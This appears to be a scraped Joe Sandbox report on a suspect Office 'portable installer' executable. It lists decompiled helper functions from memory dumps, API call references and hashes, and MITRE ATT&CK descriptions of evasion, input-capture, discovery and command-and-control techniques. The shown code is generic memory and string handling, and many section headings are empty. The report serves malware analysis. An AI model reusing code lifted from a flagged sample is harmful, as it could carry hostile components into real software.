Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\temp
API String ID: 2709904686-3555506154
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: fca702df0190f5d4796b13fce4c8f5ccfdab60c3fa8ed772e71c257c4247ae30
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: 39D0A772508EB07EE70366149C00B9F7A88CF13340F094462E040A61D4C27C4D418FFD

Uniqueness

Uniqueness Score: -1.00%

Function 100010D6, Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100010D6(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				 *0x10004060 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E1000189E, _t52);
				_t43 =  *0x10004058 +  *0x10004058 * 4 << 2;
				_t17 = E10001561();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E1000159E(E100015E5( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E1000160E( *_t55 - 0x30, E10001561());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x10004030;
								 *0x10004030 = _t31;
								E10001854(_t31 + 4,  *0x10004060, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x10004030;
							if( *0x10004030 != 0) {
								E10001854( *0x10004060, _t34 + 4, _t43);
								_t37 =  *0x10004030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x10004030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x100010dd
0x100010e5
0x100010f9
0x10001101
0x1000110c
0x1000110f
0x10001117
0x1000111a
0x1000111c
0x100011ba
0x100011c6
0x10001122
0x10001123
0x10001123
0x10001126
0x10001127
0x1000112a
0x100011f9
0x100011fc
0x10001194
0x1000119a
0x100011a2
0x100011a7
0x100011aa
0x00000000
0x100011aa
0x100011ff
0x10001200
0x1000117c
0x10001182
0x1000118a
0x00000000
0x1000118a
0x10001148
0x10001149
0x10001151
0x1000115e
0x10001166
0x1000116f
0x10001174
0x10001174
0x00000000
0x10001149
0x10001130
0x100011c7
0x100011c7
0x100011ce
0x100011db
0x100011e0
0x100011e5
0x100011eb
0x100011f1
0x100011f1
0x00000000
0x100011ce
0x10001136
0x10001139
0x00000000
0x00000000
0x1000113f
0x10001142
0x10001191
0x00000000
0x10001191
0x10001145
0x10001146
0x10001179
0x00000000
0x10001179
0x00000000
0x100011b0
0x100011b0
0x00000000
0x100011b9

APIs

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalAlloc.KERNEL32(00000040,?), ref: 10001151
GlobalFree.KERNEL32 ref: 100011AA
GlobalFree.KERNEL32 ref: 100011BD
GlobalFree.KERNEL32 ref: 100011EB

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: 63b0637edc7530645d46bec010932f639f2f746b6ed29226dfb72de0ebfb049a
Instruction ID: ed341c900a7ce6bdf815d06216e218db22d2bbb6d3afa64795f6a6593979f754
Opcode Fuzzy Hash: 63b0637edc7530645d46bec010932f639f2f746b6ed29226dfb72de0ebfb049a
Instruction Fuzzy Hash: D031BCB5404655AFF705CF64DCC9BEA7FFCEB092D1B164029FA45D626CEB3099008B64

Uniqueness

Uniqueness Score: -1.00%

Function 705514B0, Relevance: 5.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E705514B0() {
				void* _v8;
				void* _v12;
				void* _t15;
				void* _t26;
				void* _t28;

				_t26 =  *0x70554020;
				_t14 = 0;
				if(_t26 != 0) {
					while(1) {
						_t28 =  *(_t26 + 4);
						_v12 =  *((intOrPtr*)(_t26 + 0x18));
						if(_t28 == _t14) {
							goto L7;
						}
						do {
							_v8 =  *((intOrPtr*)(_t28 + 8));
							GlobalFree( *_t28);
							GlobalFree( *(_t28 + 4));
							GlobalFree(_t28);
							_t28 = _v8;
						} while (_t28 != 0);
						_t14 = 0;
						L7:
						 *(_t26 + 4) = _t14;
						 *(_t26 + 8) = _t14;
						 *(_t26 + 0xc) = _t14;
						 *(_t26 + 0x10) = _t14;
						 *(_t26 + 0x14) = _t14;
						_t15 = GlobalFree(_t26);
						_t26 = _v12;
						if(_t26 != 0) {
							_t14 = 0;
							continue;
						}
						return _t15;
					}
				}
				return 0;
			}

0x705514b7
0x705514bd
0x705514c1
0x705514d2
0x705514d2
0x705514d8
0x705514dd
0x00000000
0x00000000
0x705514e0
0x705514e6
0x705514e9
0x705514ef
0x705514f2
0x705514f4
0x705514f7
0x705514fb
0x705514fd
0x705514fe
0x70551501
0x70551504
0x70551507
0x7055150a
0x7055150d
0x7055150f
0x70551514
0x705514d0
0x00000000
0x705514d0
0x00000000
0x70551517
0x705514d2
0x7055151c

APIs

GlobalFree.KERNEL32(00000000), ref: 705514E9
GlobalFree.KERNEL32(?), ref: 705514EF
GlobalFree.KERNEL32(?), ref: 705514F2
GlobalFree.KERNEL32(?), ref: 7055150D

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 6a92dc07d8da5a4a765e6b904dd43730dbf08fc0399e1d1253f9b486ed47d464
Instruction ID: 7c23f21101ee21d14fbfa2c1686e5c2898f2b1683337c98762f753c7d71a9198
Opcode Fuzzy Hash: 6a92dc07d8da5a4a765e6b904dd43730dbf08fc0399e1d1253f9b486ed47d464
Instruction Fuzzy Hash: A9017176A00615AF8B11DF7AC98095EFBFABF58250710466AC819D3700E730FD508BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00405658, Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405658(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x00405664
0x00405666
0x0040568e
0x00405673
0x00405678
0x00405683
0x00000000
0x004056a0
0x0040568c
0x0040568c
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405866,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040565F
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00405866,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405678
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405686
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405866,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040568F

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: fee4d645b7b415a6dc1afaac75e8b1817c7eae67fc86a6e8a33b60f3285d70db
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: 05F0A736309D519AC2125B295C04A6F6A98EF91314B58097AF444F2140E33A9C119BBF

Uniqueness

Uniqueness Score: -1.00%

Function 70551290, Relevance: 5.0, APIs: 4, Instructions: 23
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E70551290(intOrPtr _a4, intOrPtr _a8) {
				void* _t9;
				intOrPtr _t11;
				intOrPtr _t12;

				_t12 = _a4;
				GlobalFree( *(_t12 + 4));
				_t11 = _a8;
				_t9 = GlobalAlloc(0,  *0x70553008(_t11) + 1);
				 *(_t12 + 4) = _t9;
				return  *0x70553010(_t9, _t11);
			}

0x70551294
0x7055129c
0x705512a2
0x705512b0
0x705512b8
0x705512c4

APIs

GlobalFree.KERNEL32(?), ref: 7055129C
lstrlen.KERNEL32(?), ref: 705512A6
GlobalAlloc.KERNEL32(00000000,00000001), ref: 705512B0
lstrcpy.KERNEL32(00000000,?), ref: 705512BB

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: Global$AllocFreelstrcpylstrlen
String ID:
API String ID: 3834103284-0
Opcode ID: 2336a8719c9c3ac1b5eaa150d316612b62988b315199e4f89c8d2228a679cfbf
Instruction ID: d41af0c4744d64f91c6b9d488b240beaf2fb7aff7d68416f54e9854ff8285f09
Opcode Fuzzy Hash: 2336a8719c9c3ac1b5eaa150d316612b62988b315199e4f89c8d2228a679cfbf
Instruction Fuzzy Hash: 23E0B677500304BBC7109BA6DD0CF6B7BBDEB99B22B104455FA5EC3260D630A8018BA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report installer_office_portable_3_2_0_Italian.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Function 000C12B0, Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 164
fileCOMMON

Function 000C2770, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 116
processthreadCOMMON

Function 000C9000, Relevance: 16.3, APIs: 5, Strings: 4, Instructions: 547
COMMONCrypto

Function 000C7270, Relevance: 12.8, APIs: 3, Strings: 4, Instructions: 513
COMMONCrypto

Function 000C1760, Relevance: 56.6, APIs: 16, Strings: 16, Instructions: 555
sleepfileCOMMON

Function 000DF77A, Relevance: 38.1, APIs: 25, Instructions: 614
fileCOMMONLIBRARYCODE

Function 000C1590, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 148
filewindowthreadCOMMON

Function 000DD423, Relevance: 26.2, APIs: 17, Instructions: 664
COMMONLIBRARYCODE

Function 000CE39A, Relevance: 16.6, APIs: 11, Instructions: 89
COMMON

Function 000C7A80, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 266
COMMON

Function 000C1500, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 57
COMMON

Function 000C1470, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 36
windowregistryCOMMON

Function 000CAA50, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 315
COMMON

Function 000C6280, Relevance: 10.7, APIs: 7, Instructions: 171
fileCOMMON

Function 000C8860, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
registryCOMMON

Function 000C2480, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 194
fileCOMMON

Function 000C7980, Relevance: 7.6, APIs: 5, Instructions: 126
COMMON

Function 000C89F0, Relevance: 7.6, APIs: 5, Instructions: 75
threadCOMMON

Function 000C2190, Relevance: 4.7, APIs: 3, Instructions: 227
COMMON

Function 000C6450, Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Function 000C6D50, Relevance: 4.6, APIs: 3, Instructions: 133
COMMON

Function 000C6000, Relevance: 4.6, APIs: 3, Instructions: 59
fileCOMMON

Function 000C8970, Relevance: 4.5, APIs: 3, Instructions: 38
threadCOMMON

Function 000CCE6F, Relevance: 4.5, APIs: 3, Instructions: 28
COMMONLIBRARYCODE

Function 000C8AD0, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 296
COMMON

Function 000C3040, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125
COMMON

Function 000C28A0, Relevance: 3.2, APIs: 2, Instructions: 153
COMMON

Function 000C6130, Relevance: 3.1, APIs: 2, Instructions: 74
fileCOMMON

Function 000D65C3, Relevance: 3.1, APIs: 2, Instructions: 52
COMMONLIBRARYCODE

Function 000C87C0, Relevance: 3.1, APIs: 2, Instructions: 51
sleepCOMMON

Function 000C7140, Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Function 000CE323, Relevance: 3.0, APIs: 2, Instructions: 33
COMMONLIBRARYCODE

Function 000DF37E, Relevance: 3.0, APIs: 2, Instructions: 32
COMMONLIBRARYCODE

Function 000D5F21, Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre